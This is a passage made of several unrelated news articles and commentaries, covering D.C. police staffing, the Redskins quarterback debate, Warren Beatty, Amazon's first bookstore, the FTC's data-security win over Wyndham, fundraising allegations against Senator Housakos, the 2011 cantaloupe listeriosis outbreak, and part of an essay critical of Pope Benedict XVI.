including Baltimore, Chicago, Philadelphia, New York, St. Louis and Atlanta.  D.C. officials have long argued that the city’s unique status as the nation’s capital, home of the president and a terrorism target, requires a large police force.  They also note that the District’s population can more than double during the workday as commuters and tourists fill up the Mall and other attractions. Various officials over the years have put the number of officers the District needs at anywhere between 3,600 and 4,200.  D.C. Council Chairman Phil Mendelson (D) said that there is no personnel crisis. He said discussion four years ago over the 3,800 number was born out of “crisis of the moment” but does not necessarily reflect the city today.  Said Mendelson, who once chaired the council’s public safety committee: “I personally think it would be helpful if the staffing of police were larger.” He added, “At the same time, I really do not think the attrition we’re seeing now is surprising and should set off alarms.”  Mendelson noted a push for civilians to replace desk-bound officers and said that the problem with the amount of crime-scene technicians — a job slowly transitioning from sworn officers to civilians — is being addressed with more hires. “The bottom line for me is, can residents continue to feel safe?” he said, adding that “3,800 is not a magic number.”  Lanier, in her letter, said new funding authorized by the council and mayor means that civilians soon can replace 75 officers now assigned to the forensic science building.  Police also point to several successes in the crime fight, including arrests in several spates of street robberies on Capitol Hill and apprehending two suspects in holdups of multiple taxi drivers. Earlier this month, Lanier announced arrests in 12 homicide cases. She said staffing in the homicide unit never dropped.  Donahue would not say how large a police force Mayor Muriel E. Bowser (D) thinks is needed. But he said the mayor is authorizing overtime and working to civilianize positions faster — devoting $2.9 million to 48 new positions — and is implementing a $2.5 million officer incentive program “to try to slow the pace of attrition.”
-At some point, the Washington Redskins have to find out how much of the problem is Donovan McNabb. If he isn't the right quarterback for them, they need to know it now so they can figure out what to do next. One way to make a diagnosis is to bench him. McNabb's admirers, both in and out of the locker room, cry that he has been disrespected and scapegoated, but the fact is, scapegoating is part of an NFL quarterback's job description. As Hyman Roth told Michael Corleone, "This is the business we've chosen."  Everybody likes McNabb personally, including Coach Mike Shanahan, who calls him "as classy of a guy that you'll ever meet in your whole life." But where is it written that his job is guaranteed because he's well liked and nice to kids?  The fact is, McNabb has been more classy than good this season. The team has lost five of its last six games, and the offense has been stuck in neutral, and McNabb's responsibility for that has to be assessed. Sometimes, the best way to evaluate is by subtraction. If even Rex Grossman can operate the offense more effectively, then that means the Redskins made a mistake with McNabb. They should shake hands and part with him in the offseason.  Yes, Shanahan could have handled McNabb more gracefully - it's hard to know why he managed the situation so awkwardly, refusing to clarify McNabb's status until late in the week. McNabb's agent Fletcher Smith called it "beyond disrespectful," and there are reports that McNabb's locker room allies are alienated. But that's a secondary issue. Football considerations had to come ahead of public relations, and there is simply no easy way to remove a beloved veteran like McNabb from the lineup.  Shanahan isn't stupid; he knew exactly how big a can of controversy he opened, and he obviously did it because he felt he had to, in order to get some clarity.  "What I'd like to be able to do, is at the end of the season, be able to evaluate where we're at at our quarterback position," Shanahan said. "I told Donovan that there's nothing he could do in the three games that would influence me of what he's done over the last 13 games. . . .  "Right now, I gotta do what I think's in the best interest of this organization. And that's to get a good feel of where we're at at the quarterback position."  The Redskins have to find some explanations for why the offense hasn't performed better. It's a hard thing to analyze. A combination of factors determines whether a play succeeds or fails, and quarterback play is just one of them, but still, it's the most critical.  How much is McNabb contributing - or not contributing? How often does he fail to get the Redskins out of a bad play and into a good one with his reads, his progressions and his decisions? How much of his struggle is due to other failures, such as poor protection, wrong-headed play calls, or an unproductive running game?  We've had 13 games to gather data on McNabb's performance; we have all of his statistics, and he has done nothing to solidify his hold on the position. He has been visibly slow to master the new offense, and made routine plays look hard with his plaguing habit of skipping the ball off the turf. He can be shockingly casual and unfocused. He has made baffling mistakes for a veteran, such as running out of bounds when he needed to keep the clock running, or fumbling the ball on a routine slide. There is something frustratingly sleepy about him, even when he plays well.  It's time to see how the offense operates without him. At a certain point, some things beyond statistics can be examined only in his absence. For instance, McNabb had one of his best statistical performances of the season last week against Tampa Bay, with two touchdown passes and no interceptions, and a strong 75-yard drive in the final 3 minutes 39 seconds of the game. The running game also worked better than it has all year, and the line gave everyone the protection they needed.  Yet the Redskins still lost, 17-16. How much of that was due to what McNabb didn't do? How many points did he leave on the field, when he took a delay-of-game penalty on the 2-yard line to end the first half, or failed to find Chris Cooley in his progressions, or presided over too many three-and-out possessions?  According to some, offensive coordinator Kyle Shanahan is not convinced McNabb is a good fit for his schemes. On the other hand, maybe Kyle Shanahan has failed to play to his quarterback's strengths, as McNabb hinted earlier this week.  "I've been in this league long enough where you can tell when you are not yourself, watching [film] later on, 'Okay, that's something I'm used to doing or I'm comfortable doing.' That's part of the communication that we've gotten better with. There were a lot of factors into that."  If so, then the head coach needs to sort that out - even if it means admitting that he made a terrible mistake. Even if it means accepting that trading two draft picks for McNabb was a bad deal. What the Redskins need now is more information. They need some answers - answers McNabb has failed to give them.
-In the 50-plus years Warren Beatty has excelled in the film industry, there's been one long-standing rumor that has continued to follow him — and he finally set the record straight in a new interview.  In 2010, unauthorized biographer Peter Biskind estimated that the Dick Tracy star, now 79, bedded nearly 13,000 women throughout his career. As fans know, the veteran actor famously dated Madonna, Natalie Wood, Barbra Streisand, Carly Simon and Janice Dickinson, among others.  Now, in his first interview in nearly two decades, Beatty says the number is incorrect. "Think about it, sleeping with 12,775 people," he told AARP magazine in his new October/November 2016 cover story. "That would mean not just that there were multiple people a day, but that there was no repetition."  The Bulworth actor didn't downplay his infamous ladies' man reputation, though. "Look, I never mislead anyone," he told the publication. "And … and I'm a nice guy."  Beatty didn't get married until he was in his mid-fifties, tying the knot with Annette Bening in 1992. The couple share four children together — Stephen, 24, Benjamin, 22, Isabel, 19, and Ella, 16.  "I waited a long time to be married," he explained to AARP. "When you don't get married until you're 54 … well, as Arthur Miller said, 'It comes with the territory.'"  Beatty added, "I always knew I wanted to have children. I wanted to do it well, and I wanted to do it with someone who felt the same way. I'm an attentive father, I have to struggle somewhat not to be overly attentive. It's a burden to be the child of not only one famous parent, but two."  In November, the iconic filmmaker's first movie in 18 years, Rules Don't Apply, will hit theaters. Beatty wrote and directed the film in addition to starring alongside his wife and costars Lily Collins, Alden Ehrenreich, Matthew Broderick and Alec Baldwin.  Sign up now for the Us Weekly newsletter to get breaking celebrity news, hot pics and more delivered straight to your inbox!  Want stories like these delivered straight to your phone? Download the Us Weekly iPhone app now!
-The small Canadian town of Kensington on Prince Edward Island has found a special way of deterring drunk driving this holiday season — and we can all learn a lesson or two from the process. In a recent Facebook post seen by Consequence of Sound, the town police announced that drivers arrested while intoxicated will be fined, suspended, and forced to listen to Nickelback’s classic 2001 LP Silver Side Up. This is How You Remind them how to not drink and drive.  Here’s the full statement from the Kensington Police Force:  This isn’t so much a warning as a threat, and it’s an effective one. Had a little too much wine at the Christmas party? Chad Kroeger and crew aren’t Far Away. Dipped into the cider before heading home? Too Bad, friend, it’s Good Times Gone for you.  Santa Chad is coming for you  Am I having entirely too much fun with this? Yes! But any longtime reader of The Verge knows by now that the prospect of hapless drunks being Nickelrolled by law enforcement forced to ride the Coca-Cola Rolla Coasta gives me literally all the joy.  The bottom line is, don’t drink and drive this year, because Santa Chad is coming for you.
-Two decades after it started selling books online, Amazon opens a shopping center storefront with books for sale on actual shelves.  Bookstore owners often think of Amazon.com as the enemy.  Now it’s becoming one of them.  At 9:30 Tuesday morning, the online retail giant will open its first-ever brick-and-mortar retail store in its 20-year life, in University Village.  The store, called Amazon Books, looks a lot like bookstores that populate malls across the country. Its wood shelves are stocked with 5,000 to 6,000 titles, best-sellers as well as Amazon.com customer favorites.  Last month, the online book newsletter Shelf Awareness broke a story speculating that Amazon was developing the store in the former Blue C Sushi location.  There is some irony in Amazon’s opening a physical store. For years, it could undercut physical retailers on price because it didn’t have brick-and-mortar locations. But those stores offered something Amazon couldn’t: the instant gratification of owning an item the second it was purchased, as well as the personal touch of a knowledgeable sales clerk.  Amazon is betting that the troves of data it generates from shopping patterns on its website will give it advantages in its retail location that other bookstores can’t match. It will use data to pick titles that will most appeal to Seattle shoppers.  And that could also solve the business problem that has long plagued other bookstores: unsold books that gather dust on shelves and get sent back to publishers. More than most book retailers, Amazon has deep insight into customer buying habits and can stock its store with titles most likely to move.  The company will stock best-sellers, of course. But it will also include books that get the highest ratings from its customers, including little-known titles. The store will also include such categories as “Most Wished-For Cookbooks.” Another section features “Award Winners, 4.5 Stars & Above, Age 6-12.”  Data only goes so far, though. Book lovers often see stores as a piece of their community. And some blame Amazon, and online retail more broadly, for the slow demise of independent booksellers.  Jennifer Cast, vice president of Amazon Books, is careful to say the store won’t be stocked solely on data.  “It’s data with heart,” she said. “We’re taking the data we have and we’re creating physical places with it.”  Some of that data includes reviews from the millions of Amazon customers who have left appraisals of books on the website. Below each book on the shelf is a card with either a review or a rating from the site.  And the company also has included a staff-favorites section that will change from time to time. For the opening, the section includes a few of Amazon Chief Executive Jeff Bezos’ favorite titles, including “The Gift of Fear” by Gavin de Becker, “The Five Love Languages” by Gary Chapman and “Traps” by his wife, MacKenzie Bezos.  “A page-turner written by an award-winning novelist, who also happens to be my wife,” Bezos writes.  The review cards are similar to the staff-favorite notes found at many bookstores. But Cast believes that having comments from passionate readers adds a wide range of voices recommending titles.  “The bookstores I love celebrate reading,” Cast said. “What better way to celebrate reading than to have the voices of readers under our books?”  Amazon’s customers help select books for the store in other ways as well. The new store includes, for example, “Bald, Fat & Crazy: How I Beat Cancer While Pregnant with One Daughter and Adopting Another” by Stephanie Hosford, a title that ranks 622,923 in books sold on Amazon. But those who have read it seem to love it. The book has a 5-star rating from all 56 customers who have reviewed it on the site.  One other way the store, with 5,500 square feet of retail space and 2,000 square feet of storage, is distinct from traditional bookstores: Every book will face out, rather than be stacked tightly with only their spines showing. That leaves far less space for books.  But Cast said Amazon wanted to showcase authors and their work, rather than cramming as many titles as possible on shelves.  “We realized that we felt sorry for the books that were spine out,” Cast said.  Amazon will charge the same price for books in the store as it does online.  It had reached out to sales staff at local stores, such as Third Place Books, to work at the new store. It wound up hiring 15 employees, including librarians, retail clerks and even a receptionist from Amazon who loves reading.  Ever since Shelf Awareness broke the story about the possibility of Amazon’s opening a retail store, there have been many rumors and much speculation about what it would be.  The store will not be a location to pick up Amazon orders. It won’t be a showcase for Amazon Publishing imprints, whose titles often aren’t picked up by the company’s retail competitors.  And while the store will showcase some of Amazon’s gadgets, such as its Kindle e-readers, Fire tablets and Fire TV streaming-media devices, it will be first and foremost a bookstore.  “Our goal is to do a great job selling lots of books,” Cast said.  Amazon has opened pop-up stores over the years to sell its Kindle devices. And it’s been replacing bookstores on college campuses with pickup locations, where students can retrieve orders.  The company chose Seattle for its first physical bookstore because it’s close to Amazon’s headquarters and because Seattle is a top market for readers.  Cast declined to detail future plans, including additional locations.  “We’re completely focused on this bookstore,” Cast said. “We hope this is not our only one. But we’ll see.”
-The Federal Trade Commission’s (FTC) resounding victory over Wyndham Worldwide Corporation in a U.S. District Court paves the way for increasing privacy and data security action by the agency, which over the past decade has asserted itself as the most forceful and well-respected privacy enforcement authority in the world.  In the end, Wyndham resorted to an argument raised by the tobacco industry in Supreme Court litigation against a market regulator. That’s telling, since tobacco, like data, is toxic, and those who fail to implement reasonable, industry-standard protections, including comprehensive privacy and data security programs, can expect to pay dearly in reputation and market valuation, litigation costs and long-term external audits. The court in Wyndham flatly denied the company’s argument that the FTC’s authority to regulate data security is in any way curtailed by the Supreme Court’s decision in FDA v. Brown & Williamson.  The Wyndham decision is a wakeup call to anyone who has doubted the emergence of an FTC privacy and data security jurisprudence, which Dan Solove and Woody Hartzog have called “a new common law of privacy.” The court agreed that Wyndham’s argument—that detailed data security rules are a prerequisite to FTC enforcement—“would undermine 100 years of FTC precedent.” Rejecting Wyndham’s claim that “agencies cannot rely on enforcement actions to make new rules,” the court held Wyndham’s “argument that consent orders do not carry the force of law, therefore, misses the mark.” In doing so, it cited with approval a 1976 decision of the Supreme Court, holding, in another context, that “the rulings, interpretations and opinions of the (regulator) under this act, while not controlling upon the courts by reason of their authority, do constitute a body of experience and informed judgment to which courts and litigants may properly resort for guidance.” These strong words will resonate to provide impetus for future privacy enforcement by the agency.  This trajectory makes projects such as the Westin Research Center’s casebook of FTC privacy and data securityenforcement actions particularly timely for professionals on the ground. Already, practitioners parse FTC decisions and consent orders immediately upon release to look for guidance and insights into industry best practices. Creating a mobile architecture that re-delegates permissions by bypassing the restrictions of an operating system? No one will do that again after the FTC’s settlement with HTC. Uploading contacts to simplify app functionality without asking for explicit consent? The Path settlement put an end to that.  This emerging jurisprudence is a testament to how much can be done with a succinctly phrased legislative mandate, the “unfair or deceptive acts or practices” standard in Section 5 of the FTC Act. Under this language, the FTC has developed a robust data protection body of law, comprising dozens of enforcement actions against the mightiest of companies, including the imposition of stiff fines and comprehensive long-term compliance programs on the likes of Google, Facebook, Choicepoint and Sears.  This track record overshadows the achievements of any other privacy enforcement authority in the world, including regulators that operate under laws spanning thousands of words. As the court pointed out, the FTC’s mandate to implement “reasonable” data security practices was not hollow. It was filled with substance accumulated through a long line of data security cases, enabling the FTC to accuse Wyndham of “failing to employ firewalls; permitting ‘storage of payment card information in clear readable text’; failing to make sure Wyndham-branded hotels ‘implemented adequate information security policies and procedures prior to connecting their local computer networks to (Wyndham’s) computer network’; permitting Wyndham-branded hotels ‘to connect insecure servers to (Wyndham’s) networks, including servers using outdated operating systems that could not receive security updates or patches to address known security vulnerabilities’…” – and (much) more.  Legal experts will no doubt question Wyndham’s strategy in this case. Instead of focusing on the complex issue of privacy harm, which merits discussion and is far from settled, Wyndham’s lawyers chose to challenge the FTC’s authority to enforce in this space in light of the vagueness of its legislative mandate. Yet it is impolitic to argue that law is not detailed enough to be enforced, even as industry lobbies against prescriptive data protection legislation. Indeed, corporations should commend the court’s ruling. A decision to curb FTC activity could create a regulatory vacuum, which would surely be filled by a plethora of activity by state attorneys general, private and class-action litigants and state and federal legislators.  Wyndham fired blanks with some of its other legal arguments, too, such as relying on legalese in its privacy statement to disavow responsibility for its franchisees’ data practices or disclaiming the existence of clear data security guidelines while at the same time announcing compliance with “industry standard practices” in its privacy policies.  The court emphasized that it “does not give the FTC a blank check to sustain a lawsuit against every business that has been hacked.” While the commission will submit a report on its study of data brokers’ collection and use of consumer data as well as on the privacy and security implications of the Internet of Things, at the same time that is continuing its case-by-case enforcement actions, few observers think there is much reason for concern. The FTC, over decades of activity, has been extremely judicious in exercising its power and can be expected to carefully but surely continue to develop privacy and data security law.  Reprinted with permission from Privacy Perspectives blog.
-Conservative Senator Leo Housakos solicited tens of thousands of dollars' worth of questionable construction industry donations for a Quebec provincial party immediately prior to his appointment to the upper house in 2008, according to one of the star witnesses at the Quebec inquiry into municipal and provincial corruption.  Lino Zambito, a construction company owner who was one of the first to tell Quebec's Charbonneau commission about the elaborate kickback schemes set up between municipal and provincial politicians, engineers and construction bosses, now tells CBC News that he also gave money to Leo Housakos, who, Zambito says, approached him for a $30,000 political donation in the fall of 2008.  At the time, Housakos, a businessman and prominent member of Montreal's Greek community, was the head of fundraising for the now defunct Action Démocratique du Québec, the small "c" conservative party then led by Mario Dumont.  In the run-up to the provincial election in December 2008, the fledgling party was doing so well, said Zambito, that construction firms like his took notice and were prepared to pay to win favour.  Send tips or information on this story to brigitte.noel@cbc.ca or john.nicol@cbc.ca.  Last week, a spokesperson for Housakos relayed to CBC News the senator's previous statement that he had never been involved in illegal fundraising. He declined to be interviewed on what we said were new allegations (without revealing what Zambito had told CBC News), saying through his spokesperson that he "wasn't interested in talking to smear merchants."  In an interview with the Canadian Press, Housakos called CBC’s report "completely defamatory and erroneous" and "absolutely a hatchet job of the worst degree." He claims Zambito approached him and asked to get involved with ADQ financing. Housakos also told CP he had spoken to the Prime Minister's Office to share his version of the facts before the report aired Monday night, and that he has also consulted his attorney about possible legal action.  Since corporate donations are not allowed in Quebec, and the limit for personal donations was then set at $3,000 per contributor per party, Zambito says he had to use the illegal "prête-nom" system to come up with that kind of money. While never explicitly stated, he said he assumed Housakos knew the game.  Former construction boss Lino Zambito testifies before the Charbonneau inquiry probing corruption and collusion in Quebec's construction industry in October 2012. Zambito was the first to explain in detail the common practice of skirting the province's supposedly stringent political donations law. (Canadian Press)  "They all say 'Ah us, we took cheques, they're legal,'" said Zambito, adding he believes fundraisers were well aware of the system: "No one's going to make me believe they didn't know what was happening."  Many witnesses have now come forward to tell Judge France Charbonneau about the system whereby company executives would reimburse their staff, friends or family members for cheques that they would donate to political campaigns.  This "prête-nom" scheme was a way for companies to conceal an illegal corporate donation through a series of much smaller, seemingly legal contributions from different people.  "Could you raise me, from people you know, friends, raise me $30,000 of cheques," Zambito said of the fundraising requests  "Then it's your problem,do what you have to do."  The construction boss said he came up with between $20,000 and $25,000 in cheques for the ADQ that he handed off directly to Housakos on two separate deliveries in the fall of 2008, and then reimbursed his friends and employees.  He didn't make his $30,000 target, but he said Housakos was pleased with the sum.  Housakos denied that he had been involved in the “prête-nom” system.  "Give me one reason I would have any reason to believe that he would have been doing that [reimbursement of cheques]," he told CP.  "At no such time did I participate in any questionable or illegal fundraising, with the ADQ and Mr. Zambito as he claims — or as the report claims, quite frankly."  Fundraising for Conservative  Zambito says he was also willing to pay for influence at the federal level, and says Housakos approached him to solicit funds for Claude Carignan, one of Harper's star candidates in the 2008 federal election.  Zambito recalled Housakos saying: "'Claude's running, he's a close friend of mine, could you help me out?'  "I go listen, how much do you want? He said, 'If you could give $3,000, I'll be happy.' So I asked my father, my mother, they both scratched a cheque for $1,100 each, I scratched a cheque and I gave it to him."  These donations were legal, but Zambito says he is a longtime Liberal. When asked why he would donate to the Tories, Zambito said he only paid because he thought Housakos had influence in Ottawa too, that he was "one of the main guys."  "It's scratch my back, I'll scratch yours," Zambito said.  Carignan lost that election but would later be named to the Senate, where he has recently been named government leader.  Longtime Tory  Housakos is no stranger to controversy. He told the CBC earlier this summer that he is "tired of this witch hunt for the last three, four, five years" — referring to media stories about him dating back to the start of the Harper government seven years ago.  Long-time political allies, Dimitri Soudas and Senator Housakos, shown here at a Commons committee in February 2008. (Canadian Press)  Housakos began making political contacts in the mid-1980s as a young Tory, and even ran for Harper's Alliance party in 2000.  He and a fellow Greek Montrealer, Dimitri Soudas, became involved with the Union Montreal party when Gérald Tremblay ran for mayor in 2001.  Longtime friends, Housakos and Soudas left the city within a year, and when Soudas got a job with the new Tory leader, Stephen Harper, in 2002, Housakos's network with the federal Tories broadened.  Less than three months after Harper became prime minister in January 2006, Housakos had a meeting with Public Works officials where he asked about Michael Rosenberg, a former Tory candidate whose firm RosDev was embroiled in a multi-million dollar lawsuit with the federal department over the management of two office buildings, according to a joint investigation by CBC News and the Globe and Mail in January 2008.  It was reported that Soudas, who was then the prime minister's deputy press secretary, also stepped in to try to resolve the RosDev file, an effort that landed him before Ethics Commissioner Mary Dawson. (He was later absolved by her of any ethical breach or inappropriate pressure.)  Housakos told Radio-Canada that his role was to tell the government it would be good to help out a party supporter like Rosenberg. He also claimed he never asked Soudas to intervene on Rosenberg's behalf.  Also in 2006, both Housakos and Soudas met with officials of Alenia, an Italian aeronautics company interested in selling hardware to National Defence, at a Montreal restaurant. But Housakos said it was an innocent happenstance where Soudas was in town and dropped in on a meeting.  Housakos was not registered as a lobbyist, said he was never paid as one, and told the House of Commons committee he did not contravene any lobbying guidelines.  Their names came up again during the 2011 election campaign when news reports said that Tony Accurso, a prominent Montreal construction boss and Bernard Poulin, head of one of the biggest engineering firms in Quebec, wanted Housakos to get Soudas to promote former city official Robert Abdallah to run the Port of Montreal back in 2007.  The port's board members told reporters they were pressured during a dinner in Old Montreal, where Soudas promoted Abdallah as his choice candidate. When this story broke, Harper confirmed Abdallah had been the preferred candidate of the PMO, but said no pressure had been exercised and that their candidate did not get the job in the end. Housakos has denied any role in this matter.  Abdallah was not chosen for the position. He has since been accused, in unproven allegations before Charbonneau, of being involved in a kickback scheme during his time at the City of Montreal (2003-06).  Accurso has been arrested twice in the past two years and charged with a string of offences including tax evasion, fraud, conspiracy, influence-peddling, breach of trust and two counts of defrauding the government. He has gone to court to try to avoid testifying before the Charbonneau commission.  Charbonneau mentions  In testimony before Charbonneau, Housakos's name has been raised twice.  The first mention dealt with his involvement with a Montreal engineering firm that won a federal stimulus contract to study the restoration of the Champlain Bridge.  But the Senate ethics officer had examined the matter back in 2009 and cleared Housakos of any wrongdoing.  His name was also cited on redacted documents outlining the guest list of a private Montreal club because he attended what commission investigators called "events of interest" back in 2007 and 2008.  The inquiry under Justice France Charbonneau has transfixed Quebec with its many revelations between the construction industry, in particular, and provincial parties. (Canadian Press)  Commission investigators say Housakos's name was on the guest list along with people who have since faced allegations of wrongdoing at Charbonneau, including Paolo Catania, who runs a construction company that Charbonneau testimony has linked to the Sicilian mafia, and Bernard Trépanier, the municipal fundraiser dubbed "Mr. 3 Per Cent" for allegedly demanding cuts on city contracts.  Housakos's lawyer, Emmanuelle Saucier, has since written to the CBC to say that the senator's meetings at 357c can in no way whatsoever "be used to link our client to illegal activities."  The inquiry documents also seem to show that Housakos arranged a dinner party for the ADQ at the private club on June 21, 2007, while he was the party's chief of fundraising. Among the dozen guests, the only one whose name has not been redacted is construction boss Joseph Borsellino of Garnier construction, who has been accused at the commission of price-rigging municipal contracts.  "In this context, we see an entrepreneur who has been invited to a cocktail for the ADQ and we've seen the profile of Mr. Housakos," said Sgt. Erick Roy, one of the commission investigators, justifying why Housakos's name was included. "So we see links between business people and political financing that fall directly into the framework of our investigation."  Housakos took exception to this allegation, calling the event "a networking event to meet the business community."  "So that to me is false — it's erroneous," Housakos told reporters in June when this issue first arose.  "I don't know if he was at the club while I was at that event, but at no such time did I ever come across Joe Borsellino in 2007 and I have no reason to believe that Mr. Borsellino would have been present at any of my meetings or events."  As for the other meetings, Housakos protested: "How was I supposed to know [four years before] that some of those individuals would be charged with serious criminal offences and their names would appear on countless occasions being accused of doing very unsavoury things."  Housakos says he supports the Charbonneau commission, but told reporters he resents the idea that reporting on those meetings makes him guilty by association.  "Not everybody in the construction industry and engineering industry are crooked," Housakos said. "Not everybody in the fundraising processes of the political system break the rules."  The CBC requested an interview with Housakos on three separate occasions recently. Housakos declined our requests, while insisting he had not participated in any questionable fundraising.  His lawyer Saucier sent a letter cautioning the CBC to "respect its code of ethics" and "ensure the veracity of the facts and the accuracy of your sources (anonymous or not), and that the evidence can support the conclusions and judgments."  Send tips or information on this story to brigitte.noel@cbc.ca or john.nicol@cbc.ca.
-2011 United States listeriosis outbreak The outbreak was from cantaloupes from Colorado Location United States Date July 31, 2011 – August 27, 2012 Deaths 33 confirmed[1] Non-fatal injuries 147 cases confirmed[1]  The 2011 United States listeriosis outbreak was a widespread outbreak of Listeria monocytogenes food poisoning across 28 US states that resulted from contaminated cantaloupes linked to Jensen Farms of Holly, Colorado. As of the final report on August 27, 2012, there were 33 deaths and 147 total confirmed cases since the beginning of the first recorded case on July 31, 2011.[2] It was the worst foodborne illness outbreak in the United States, measured by the number of deaths, since the Centers for Disease Control and Prevention began tracking outbreaks in the 1970s, or tied with the worst, an outbreak of listeria from cheese in 1985, depending on which CDC report is used.[3]  Origin and spread [ edit ]  Listeria monocytogenes, the bacterium responsible for , the bacterium responsible for listeriosis  Listeriosis is an infection caused by the bacterium Listeria monocytogenes. The outbreak was determined to originate from Jensen Farms in Holly, Colorado after Listeria monocytogenes was found in cantaloupe samples at a Jensen Farms store in Denver, Colorado and at the farm's packaging plant. The batch of cantaloupes had been shipped out over a period from July 29 through September 10 to twenty-five states, including Arkansas, Arizona, California, Colorado, Idaho, Illinois, Kansas, Minnesota, Missouri, Montana, Nebraska, New Jersey, New Mexico, New York, North Dakota, Ohio, Oklahoma, Pennsylvania, South Dakota, Tennessee, Texas, Utah, Virginia, and Wyoming.[4]  The outbreak was first reported by the Centers for Disease Control on September 12, where they stated that "fifteen people in four states had been infected".[5] On September 21, a new report was released by the CDC, bringing the number of deaths to 13 and the number of confirmed cases to 72. The report also stated that further deaths were being investigated to determine if they had also been caused by Listeria infection. The CDC report also stated that, as Listeria "only sickens the elderly, pregnant women and others with compromised immune systems", the median age of all the people that had been infected was 78.[6] On September 30, an update was released by the CDC, reporting that as of 11 am (EDT) Sep 29, 2011 the number of confirmed cases was 84, number of deaths was 15 and the number of states involved was 19.[7] On October 4, the CDC updated their report to 100 infected individuals in 20 states and a total of 18 deaths from the outbreak.[8] The outbreak was shown to have continued to spread to new states, with the CDC update on October 7 stating that the number of cases had risen to 109 in 23 states and that three more people had died to bring the death toll to 21.[9] The CDC update on October 12 put the number of cases at 116 with 23 deaths.[10][11] An update on October 18 increased the number of cases to 123 and the number of deaths to 25.[12] The October 25 update raised the number of cases to 133, with three more people dying to raise the total to 28.[13] A final update on August 27 confirmed 147 cases and 33 deaths. Fatalities occurred in Colorado (9), Indiana (1), Kansas (3), Louisiana (2), Maryland (1), Missouri (3), Montana (1) Nebraska (1), New Mexico (5), New York (2), Oklahoma (1), Texas (2), and Wyoming (2). Among persons who died, ages ranged from <1 to 96 years, with a median age of 78 years.[2] In addition, one woman pregnant at the time of illness had a miscarriage.[1]  Listeria infections can cause pregnant women to miscarry; the first miscarriage attributed to the 2011 outbreak was reported in early October, in a woman living in Iowa. Pregnant women often are advised to avoid foods, such as unpasteurized cheese and hot dogs, that are known to have the potential to carry Listeria, but fruits such as cantaloupe had not previously been identified as sources of concern.[14]  No list of retailers selling the infected cantaloupes was released by either the government or Jensen Farms. Although the last shipment was September 10 and the fruit had a two-week shelf life, as of September 29, the number of illnesses and deaths were expected to continue rising, because the incubation period could exceed one month.[15]  Recalls by retailers which had sold the Jensen Farms cantaloupes included Kroger (September 15),[16] Safeway (September 15),[17] Aldi (September 16),[18] and US Foods (September 16).[19]  FDA investigation [ edit ]  An investigation by the Food and Drug Administration (FDA) found that the contaminated cantaloupe harvest contained four separate Listeria monocytogenes strains, which the governmental agency found to be "unusual", but was still trying to determine the reason.[20] On October 20, it was reported that the FDA officials had found listeria on dirty, corroded equipment used by Jensen Farms, which had been bought used and was previously utilized for potato farming. It was stated by the government that the "equipment's past use may have played a role in the contamination".[21] Water contaminated with listeria was also found on the floor of the packing plant and it was determined that the workers moving around the plant had spread it, as the contaminated water was also found on the cantaloupe conveyor belt. It was noted by officials that Jensen Farms had "passed a food safety audit by an outside contractor" six days before the outbreak.[22]  The method of how the listeria bacteria first came to be in the plant remains unknown, as the soil on the farm was determined to be clear of the bacteria. It is suspected, however, that a "dump truck used to take culled melons to a cattle farm...could have brought bacteria to the facility".[22][23] Furthermore, Bacteria growth may have been caused by condensation stemming from the lack of a pre-cooling step to remove field heat from the cantaloupe before cold storage.[24]  House Energy and Commerce Committee investigation [ edit ]  On October 21, the House Energy and Commerce Committee, a committee panel of the United States House of Representatives, began its own investigation into the outbreak. The Committee "requested a staff briefing from Jensen Farms" and all of the documents they had on the incident. They also requested information from the FDA, CDC, and other governmental groups.[25]  Jensen Farms response [ edit ]  In response to the initial reports by the CDC on the contaminated cantaloupe, Jensen Farms issued a voluntary recall on September 15 of the entire harvest crop of 300,000 cantaloupe that it had distributed to its chain stores. The FDA made the public announcement for the recall after Listeria infection was confirmed by Jensen Farms at its main Colorado branch.[26] Jensen Farms was also forced to temporarily shut down its processing plant while the recall is ongoing.[27] Government officials have been investigating the company's main facility in Colorado to determine if there was "animal or water contamination", but there have been no results from the investigation thus far.[20] Holly, Colorado residents were described as being left "reeling and in fear" because of the disaster for its local producer.[28]  Political responses [ edit ]  The FDA has stated in response to the extensive bacterial outbreak that it is "yet another reason to fully implement the Food Safety Modernization Act." Sherri McGarry, a senior adviser for the FDA, stated that, "We're going to take these lessons learned, share that with our partners and industries, CDC and the states, and what we want to do is we want to really prevent this from happening in the future."[20]  Also, in response to an auditor passing Jensen Farms food safety methods and failing to notice the listeria bacteria in the plant, the deputy commissioner of foods, Michael R. Taylor, had stated that he intended to "establish standards for how auditors should be trained and how audits should be conducted."[22]  Lawsuit [ edit ]  On September 15, a lawsuit was filed against Jensen Farms by the first victim of the contaminated cantaloupe crop, who had fallen ill and been kept in the hospital for several weeks. He and his wife were involved in the legal proceedings.[27] In addition to Jensen Farms, the couple also sued a Walmart branch in Colorado Springs, Colorado, where they had bought the cantaloupe, for selling unsafe food.[29]
-Spare me any more reverential coverage about Pope Benedict XVI and his decision to give up his office. On a personal level, I wish him well. At the age of eighty-five and increasingly infirm, he surely deserves a rest. But as far as his record goes, he can’t leave office a moment too soon. His lengthy tenure at the Vatican, which included more than twenty years as the Catholic Church’s chief theological enforcer before he became Pope, in 2005, has been little short of disastrous. By setting its face against the modern world in general, and by dragging its feet in response to one of the worst scandals since the Reformation, Benedict’s Vatican has called the Church’s future into question, needlessly alienating countless people around the world who were brought up in its teachings.  Not that it matters much, but you can count me among them. When I was a boy, in Leeds, West Yorkshire, the nuns at Sacred Heart Primary School taught my classmates and me the New Testament from slim paperbacks with embossed navy-blue covers. We each got four of them: “The Good News According to Luke,” The Good News According to Matthew,” “The Good News According to Mark,” and “The Good News According to John.” Of the four gospels, the most thumbed, by far, were those of Luke, which contains many of Jesus’s parables, and Matthew, which features the Sermon on the Mount: “Blessed are the poor in spirit, for theirs is the kingdom of heaven. Blessed are those who mourn, for they will be comforted. Blessed are the meek, for they will inherit the earth…”  It was the early seventies, an era of hope and optimism for many Catholics. Following the lengthy Second Vatican Council, called by Pope John XXIII in 1959, the Church had made a determined effort to modernize some of its doctrines and practices. Masses, which for many centuries had been confined to Latin, were now celebrated in other languages. Priests, who traditionally faced the altar during services, had been instructed to face their congregations and invite them to participate. In place of a stultifying focus on ancient dogmas and ceremonies, there was a return to the actual teachings of Jesus, which were being interpreted in increasingly liberal and egalitarian ways, as evidenced by the words of a popular folk hymn we used to sing, a few lines of which I recount from memory:  He sent me to give the Good News to the poor.  Tell prisoners that they are prisoners no more.  Tell blind people that they can see,  And set the downtrodden free.  I didn’t know it at the time, but the church’s concern with bread-and-butter issues had been expressed from the top. In 1967, Pope Paul VI, John XXIII’s successor, issued “Populorum Progressio,” an encyclical on “the development of 